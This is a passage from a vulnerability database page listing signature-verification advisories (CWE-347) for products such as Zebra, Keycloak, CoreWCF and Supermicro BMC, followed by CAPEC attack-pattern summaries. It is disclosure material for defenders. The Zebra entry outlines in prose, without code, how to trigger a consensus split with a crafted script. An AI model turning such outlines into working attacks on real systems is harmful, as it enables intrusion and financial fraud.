      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SimpleSAMLphp saml2 incorrect signature validation"
}

GHSA-GCFH-VW6R-JGV8

Vulnerability from github – Published: 2025-09-19 03:30 – Updated: 2025-09-19 03:30
VLAI
Details

There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW . An attacker can update the system firmware with a specially crafted image.

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-7937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-19T03:15:50Z",
    "severity": "MODERATE"
  },
  "details": "There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW . An attacker can update the system firmware with a specially crafted image.",
  "id": "GHSA-gcfh-vw6r-jgv8",
  "modified": "2025-09-19T03:30:52Z",
  "published": "2025-09-19T03:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7937"
    },
    {
      "type": "WEB",
      "url": "https://www.supermicro.com/en/support/security_BMC_IPMI_Sept_2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFWW-4W9G-J3MR

Vulnerability from github – Published: 2025-04-23 18:30 – Updated: 2025-04-23 18:30
VLAI
Details

CarlinKit CPC200-CCPA Improper Verification of Cryptographic Signature Code Execution Vulnerability. This vulnerability allows physically present attackers to execute arbitrary code on affected installations of CarlinKit CPC200-CCPA devices. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of update packages on USB drives. The issue results from the lack of proper verification of a cryptographic signature. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-24356.

Severity
6.8 (Medium)
CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-2763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-23T17:16:54Z",
    "severity": "MODERATE"
  },
  "details": "CarlinKit CPC200-CCPA Improper Verification of Cryptographic Signature Code Execution Vulnerability. This vulnerability allows physically present attackers to execute arbitrary code on affected installations of CarlinKit CPC200-CCPA devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of update packages on USB drives. The issue results from the lack of proper verification of a cryptographic signature. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-24356.",
  "id": "GHSA-gfww-4w9g-j3mr",
  "modified": "2025-04-23T18:30:59Z",
  "published": "2025-04-23T18:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2763"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-179"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GQ4H-3GRW-2RHV

Vulnerability from github – Published: 2026-05-07 20:56 – Updated: 2026-05-13 13:28
VLAI
Summary
Zebra has Consensus Divergence in Transparent Sighash Hash-Type Handling due to Stale Buffer
Details

CVE-2026-44497: Consensus Divergence in Transparent Sighash Hash-Type Handling due to Stale Buffer

Summary

The fix for https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-8m29-fpq5-89jj introduced a separate issue due to insuficient error handling of the case where the sighash type is invalid, during sighash computation. Instead of returning an error, the normal flow would resume, and the input sighash buffer would be left untouched. In scenarios where a previous signature validation could leave a valid sighash in the buffer, an invalid hash-type could be incorrectly accepted, which would create a consensus split between Zebra and zcashd nodes.

Severity

Critical - This is a Consensus Vulnerability that could allow a malicious party to induce network partitioning, service disruption, and potential double-spend attacks against affected nodes.

Note that the impact is currently alleviated by the fact that currently most miners run zcashd.

Affected Versions

Zebra 4.3.1.

Description

Verification of transparent transactions inherits the Bitcoin Script verification code in C++, called from Zebra through a foreign function interface (FFI) with a Rust callback that computes the sighash. The fix for https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-8m29-fpq5-89jj added the missing V5 hash-type consensus check on the Rust side, returning None for undefined hash types. However, the FFI bridge only writes to the C++ sighash buffer when the callback returns Some, and the C++ checker reads that buffer unconditionally, so the failure signal is lost.

An attacker could exploit this by:

  • Constructing a transparent output spent by a script that runs a valid OP_CHECKSIGVERIFY immediately before an OP_CHECKSIG with an undefined hash type.
  • The first opcode primes the C++ sighash buffer with a valid digest; the second causes Zebra's callback to return None while the C++ checker verifies the invalid signature against the stale digest.
  • Zebra accepts the spend, zcashd rejects it, creating a consensus split in the network.

Impact

Consensus Failure

  • Attack Vector: Network.
  • Effect: Network partition/consensus split.
  • Scope: Any affected Zebra node, and any miner or template pipeline that relies on Zebra's validation result.

Fixed Versions

This issue is fixed in 4.4.0.

The fixes uses a workaround where the input buffer is filled with random bytes on validation failure, which makes signature validation fail (as expected) with overwhelming probability. This avoids a breaking release of the zcash_script crate. A future release will propagate the error correctly for a direct fix.

Mitigation

Users should upgrade to 4.4.0 or later immediately.

There are no known workarounds for this issue. Immediate upgrade is the only way to ensure the node remains on the correct consensus path and is protected against malicious chain forks.

Credits

Zebra thanks @sangsoo-osec for finding and reporting the issue.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.1"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "zebra-script"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "zebrad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T20:56:21Z",
    "nvd_published_at": "2026-05-08T15:17:01Z",
    "severity": "CRITICAL"
  },
  "details": "# CVE-2026-44497: Consensus Divergence in Transparent Sighash Hash-Type Handling due to Stale Buffer\n\n## Summary\n\nThe fix for https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-8m29-fpq5-89jj introduced a separate issue due to insuficient error handling of the case where the sighash type is invalid, during sighash computation. Instead of returning an error, the normal flow would resume, and the input sighash buffer would be left untouched. In scenarios where a previous signature validation could leave a valid sighash in the buffer, an invalid hash-type could be incorrectly accepted, which would create a consensus split between Zebra and zcashd nodes.\n\n## Severity\n\n**Critical** - This is a Consensus Vulnerability that could allow a malicious party to induce network partitioning, service disruption, and potential double-spend attacks against affected nodes.\n\nNote that the impact is currently alleviated by the fact that currently most miners run `zcashd`.\n\n## Affected Versions\n\nZebra 4.3.1.\n\n## Description\n\nVerification of transparent transactions inherits the Bitcoin Script verification code in C++, called from Zebra through a foreign function interface (FFI) with a Rust callback that computes the sighash. The fix for  https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-8m29-fpq5-89jj added the missing V5 hash-type consensus check on the Rust side, returning `None` for undefined hash types. However, the FFI bridge only writes to the C++ sighash buffer when the callback returns `Some`, and the C++ checker reads that buffer unconditionally, so the failure signal is lost.\n\nAn attacker could exploit this by:\n\n- Constructing a transparent output spent by a script that runs a valid `OP_CHECKSIGVERIFY` immediately before an `OP_CHECKSIG` with an undefined hash type.\n- The first opcode primes the C++ sighash buffer with a valid digest; the second causes Zebra\u0027s callback to return `None` while the C++ checker verifies the invalid signature against the stale digest.\n- Zebra accepts the spend, zcashd rejects it, creating a consensus split in the network.\n\n## Impact\n\n**Consensus Failure**\n\n- **Attack Vector:** Network.\n- **Effect:** Network partition/consensus split.\n- **Scope:** Any affected Zebra node, and any miner or template pipeline that relies on Zebra\u0027s validation result.\n\n## Fixed Versions\n\nThis issue is fixed in 4.4.0.\n\nThe fixes uses a workaround where the input buffer is filled with random bytes on validation failure, which makes signature validation fail (as expected) with overwhelming probability. This avoids a breaking release of the `zcash_script` crate. A future release will propagate the error correctly for a direct fix.\n\n## Mitigation\n\nUsers should upgrade to 4.4.0 or later immediately.\n\nThere are no known workarounds for this issue. Immediate upgrade is the only way to ensure the node remains on the correct consensus path and is protected against malicious chain forks.\n\n## Credits\n\nZebra thanks @sangsoo-osec for finding and reporting the issue.",
  "id": "GHSA-gq4h-3grw-2rhv",
  "modified": "2026-05-13T13:28:57Z",
  "published": "2026-05-07T20:56:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-gq4h-3grw-2rhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44497"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ZcashFoundation/zebra"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/releases/tag/v4.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Zebra has Consensus Divergence in Transparent Sighash Hash-Type Handling due to Stale Buffer"
}

GHSA-GQJ5-2XP5-3QMP

Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-06-30 03:37
VLAI
Details

A flaw was found in Keycloak. This JWT algorithm confusion vulnerability in the JWT Authorization Grant flow allows an attacker with valid client credentials to bypass signature verification. By forging an assertion, the attacker can create unauthorized access tokens. This enables the attacker to impersonate any federated user linked to the affected Identity Provider, leading to unauthorized access and potential privilege escalation.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-11800"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T22:17:00Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in Keycloak. This JWT algorithm confusion vulnerability in the JWT Authorization Grant flow allows an attacker with valid client credentials to bypass signature verification. By forging an assertion, the attacker can create unauthorized access tokens. This enables the attacker to impersonate any federated user linked to the affected Identity Provider, leading to unauthorized access and potential privilege escalation.",
  "id": "GHSA-gqj5-2xp5-3qmp",
  "modified": "2026-06-30T03:37:14Z",
  "published": "2026-06-26T00:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11800"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30083"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30084"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-11800"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487006"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-11800.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GQV6-PWCG-87R8

Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-06-19 20:47
VLAI
Summary
CoreWCF: XML Signature Wrapping in WS-Security endorsing/supporting signature verification allows replay of captured signed messages
Details

Impact

The attacker, with one captured signed SOAP envelope from a victim and no other privileges, can invoke arbitrary operations on the service as the victim principal for the lifetime of the captured signing key. There is no rate limit on replays. The DetectReplays setting on transport-security bindings does not mitigate the issue because the attack does not reuse the original timestamp — the fresh timestamp in the wsse:Security header is what the replay-detection logic inspects.

Patches

Fixed in CoreWCF v1.8.1 and v1.9.1

Workarounds

Ensure communication is protected by SSL/TLS to prevent capturing of signed SOAP envelope.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "CoreWCF.Primitives"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "CoreWCF.Primitives"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.0"
            },
            {
              "fixed": "1.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294",
      "CWE-345",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T20:47:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nThe attacker, with one captured signed SOAP envelope from a victim and no other privileges, can invoke arbitrary operations on the service as the victim principal for the lifetime of the captured signing key. There is no rate limit on replays. The DetectReplays setting on transport-security bindings does not mitigate the issue because the attack does not reuse the original timestamp \u2014 the fresh timestamp in the wsse:Security header is what the replay-detection logic inspects.\n\n### Patches\nFixed in CoreWCF v1.8.1 and v1.9.1\n\n### Workarounds\nEnsure communication is protected by SSL/TLS to prevent capturing of signed SOAP envelope.",
  "id": "GHSA-gqv6-pwcg-87r8",
  "modified": "2026-06-19T20:47:14Z",
  "published": "2026-06-19T20:47:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/CoreWCF/CoreWCF/security/advisories/GHSA-gqv6-pwcg-87r8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/CoreWCF/CoreWCF"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CoreWCF: XML Signature Wrapping in WS-Security endorsing/supporting signature verification allows replay of captured signed messages"
}

GHSA-GQX7-6552-67HF

Vulnerability from github – Published: 2026-05-15 18:30 – Updated: 2026-06-08 23:31
VLAI
Summary
Improper Verification of Cryptographic Signature in com.oviva.telematik:epa4all-client
Details

Impact

An attacker who can MITM the TLS connection between the client and the IDP (within the TI network) can substitute a forged discovery document. The forged document redirects u ri_puk_idp_enc and uri_puk_idp_sig to attacker-controlled URLs. The client then encrypts the SMC-B-signed challenge response to the attacker's encryption key and POSTs it to the attacker's auth endpoint. This captures the signed authentication material.

Patches

#36

Workarounds

None.

Resources

  • MS-OVIVA-EPA4ALL-d453c1

Credits

Machine Spirits (contact@machinespirits.de)

  • Dr. rer. nat. Simon Weber
  • Dipl.-Inf. Volker Schönefeld
  • Chiara Fliegner
Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.oviva.telematik:epa4all-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45575"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T18:30:48Z",
    "nvd_published_at": "2026-05-26T21:16:40Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nAn attacker who can MITM the TLS connection between the client and the IDP (within the TI network) can substitute a forged discovery document. The forged document redirects u ri_puk_idp_enc and uri_puk_idp_sig to attacker-controlled URLs. The client then encrypts the SMC-B-signed challenge response to the attacker\u0027s encryption key and POSTs it to the attacker\u0027s auth endpoint. This captures the signed authentication material.\n\n### Patches\n[#36](https://github.com/oviva-ag/epa4all-client/pull/36)\n\n### Workarounds\nNone.\n\n### Resources\n- MS-OVIVA-EPA4ALL-d453c1\n\n### Credits\n[Machine Spirits](https://machinespirits.com/) ([contact@machinespirits.de](mailto:contact@machinespirits.de))\n\n- Dr. rer. nat. Simon Weber\n- Dipl.-Inf. Volker Sch\u00f6nefeld\n- Chiara Fliegner",
  "id": "GHSA-gqx7-6552-67hf",
  "modified": "2026-06-08T23:31:26Z",
  "published": "2026-05-15T18:30:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oviva-ag/epa4all-client/security/advisories/GHSA-gqx7-6552-67hf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45575"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oviva-ag/epa4all-client/pull/36"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oviva-ag/epa4all-client/commit/9111d6fbb939007036a7f74b2a93bb278cb5af32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oviva-ag/epa4all-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oviva-ag/epa4all-client/releases/tag/v1.2.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Verification of Cryptographic Signature in com.oviva.telematik:epa4all-client"
}

GHSA-GRR5-2XQC-RXR6

Vulnerability from github – Published: 2023-08-02 18:30 – Updated: 2024-04-04 06:29
VLAI
Details

The BIG-IP Edge Client Installer on macOS does not follow best practices for elevating privileges during the installation process.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-38418"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-02T16:15:10Z",
    "severity": "HIGH"
  },
  "details": "\nThe BIG-IP Edge Client Installer on macOS does not follow best practices for elevating privileges during the installation process.\u00a0 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
  "id": "GHSA-grr5-2xqc-rxr6",
  "modified": "2024-04-04T06:29:54Z",
  "published": "2023-08-02T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38418"
    },
    {
      "type": "WEB",
      "url": "https://my.f5.com/manage/s/article/K000134746"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

← Back to the CWE list